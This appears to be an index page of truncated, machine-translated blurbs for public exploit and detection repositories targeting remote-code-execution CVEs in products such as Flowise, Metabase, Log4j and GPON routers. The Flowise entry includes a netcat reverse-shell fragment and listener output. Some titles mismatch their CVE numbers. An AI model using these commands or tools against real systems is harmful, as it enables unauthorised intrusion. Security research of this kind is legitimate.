CVE-2021-32819

CVE-2021-32819 CVE-2021-32819 : SquirrellyJS يخلط بين بيانات القالب الخالصة وخيارات تكوين المحرك من خلال واجهة برمجة تطبيقات العرض Express. من خلال الكتابة فوق خيارات التكوين الداخلية، قد يتم تشغيل تنفيذ التعليمات البرمجية عن بُعد في التطبيقات النهائية. المصدر...

CVE-2022-24715

Icinga Web 2 - Esecuzione remota di codice autenticata 2.8.6, 2.9.6, 2.10 Esecuzione remota di comandi Reverse shell Utilizzo root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

Pingpon-Exploit

PINGPON EXPLOIT Autore: @037 Pingpon è uno strumento utilizzato per ottenere migliaia di router domestici GPON vulnerabili tramite Shodan.io per poi eseguire qualsiasi comando Linux su di essi utilizzando una falla di esecuzione di codice remoto CVE-2018-10562. DISCLAIMER NON sono responsabile pe...

Cisco-ASA-CVE-2025-20333-Scanner

Scanner CVE-2025-20333 Uno scanner diagnostico basato su Python per il buffer overflow del server Web VPN Cisco ASA / FTD CVE-2025-20333. CVE-2025-20333 è una vulnerabilità critica di heap buffer overflow nel gestore di upload file di WebVPN che può portare a esecuzione remota di codice RCE come...

CVE-2022-24638

AS SEEN ON EXPLOITDB: https://www.exploit-db.com/exploits/51026 DIESE VERSION WURDE BEHOBEN, UM FALSCH NEGATIVE ZU VERHINDERN CVE-2022-24637 Exploit für die nicht authentifizierte RCE in Open Web Analytics OWA 1.7.4. Diese Arbeit basiert auf https://devel0pment.de/?p=2494. HAFTUNGSAUSSCHLUSS:...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...

CVE-2020-17531

CVE-2020-17530 Apache Struts2 è un framework web per lo sviluppo di applicazioni Java EE. Il 8 dicembre 2020, Apache Struts ha divulgato la vulnerabilità di esecuzione remota di codice S2-061 CVE-2020-17530. In determinate condizioni, come l'uso di alcuni tag, potrebbe esistere una vulnerabilità ...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

cve-2023-38646-poc

Metabase Pre Authentication RCE CVE-2023-38646 CVE-2023-38646 è una vulnerabilità di esecuzione remota di codice in Metabase. La vulnerabilità deriva da un difetto di sicurezza nella gestione delle stringhe di connessione JDBC da parte di Metabase quando processa l'endpoint API non autenticato...

CVE-2021-21974_vuln_dectection

Rilevatore Vulnerabilità CVE-2021-21974 Uno strumento di sicurezza basato su Python per rilevare la vulnerabilità CVE-2021-21974 nelle implementazioni SLP Service Location Protocol, mirato specificamente ai sistemi VMware ESXi. Questo strumento esegue un rilevamento sicuro, non sfruttativo,...

roundcube-cve-2025-49113-lab

HAFTUNGSAUSSCHLUSS: Nur für Bildungszwecke Roundcube Webmail RCE – CVE-2025-49113 Lab Dieses Repository dokumentiert meine schrittweise Ausnutzung von Roundcube Webmail CVE-2025-49113 in einer kontrollierten Laborumgebung, um das in /secret.txt gespeicherte Geheimnis zu erlangen. ⚠️...

CVE-2021-41773

CVE-2021-41773 Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE...

log4j2-rce-recap

Breve riepilogo dell'esecuzione di codice remota in log4j2 CVE-2021-44228 Requisiti maven = 3 java = 8 nessun ldap in esecuzione su 127.0.0.1:1389 Utilizzo Compila con maven. root@kitploit: mvn test Il plugin surefire verrà eseguito due volte: ExploitabilityTest dimostra la sfruttabilità del bug...

cve-2017-12629

README L'esecuzione remota di codice si verifica in Apache Solr precedente alla versione 7.1 con Apache Lucene precedente alla versione 7.1 sfruttando XXE in combinazione con l'uso di un comando add-listener dell'API Config per raggiungere la classe RunExecutableListener. Elasticsearch, sebbene...

day06-foxcms-rce

Day06 — RCE in stile FoxCMS CVE-2025-29306 — Laboratorio didattico Questo piccolo laboratorio simula l'idea fondamentale alla base di CVE-2025-29306 : l'uso non sicuro di unserialize su input controllati dall'attaccante che porta all'esecuzione di codice remoto. Si tratta di una replica didattica...

CVE-2025-3248

CVE-2025-3248 — Esecuzione Remota di Codice su Langflow AI Non Autenticato Autore: 0xgh057r3c0n Descrizione Questo exploit sfrutta una vulnerabilità critica di RCE non autenticata CVE-2025-3248 in Langflow AI. La vulnerabilità consente a un attaccante di eseguire comandi arbitrari sul server di...

relatorio-n8n.md

Relatório TryHackMe — n8n: CVE-2025-68613 Vulnerabilidade: CVE-2025-68613 Publicação: 19/12/2025 CVSS: 9.9 Crítico Resumo Relatório da exploração e análise da vulnerabilidade de injeção de expressão no n8n que permite execução remota de código RCE. Documenta ambiente, passos, payloads testados,...

CVE-2020-7247

CVE-2020-7247 Questa vulnerabilità esiste nella funzione “smtpmailaddr” del server di posta OpenSMTPD di OpenBSD, e interessa la versione 6.6 di OpenBSD. Ciò permette a un attaccante di eseguire comandi shell arbitrari come “sleep 66” come utente root. Come usare? python3 getShell.py Se hai bisog...

CVE-2025-8971

CVE-2025-8971 SQL Injection Autore: Byte Reaper Descrizione : Questo exploit per CVE-2025-8971, una vulnerabilità di SQL injection in itsourcecode Online Tour and Travel Management System 1.0. La vulnerabilità risiede in /admin/operations/travellers.php e può essere sfruttata da remoto tramite il...

CVE-2026-13214

A stack buffer overflow in the Zephyr RTOS OCPP 1.6 client (subsys/net/lib/ocpp/ocpp_j.c, function parse_getconfig_msg()) results from an unbounded strcpy() of an attacker-controlled JSON "key" string into a fixed 50-byte stack buffer (skey[CISTR50]). The key is parsed from a GetConfiguration mes...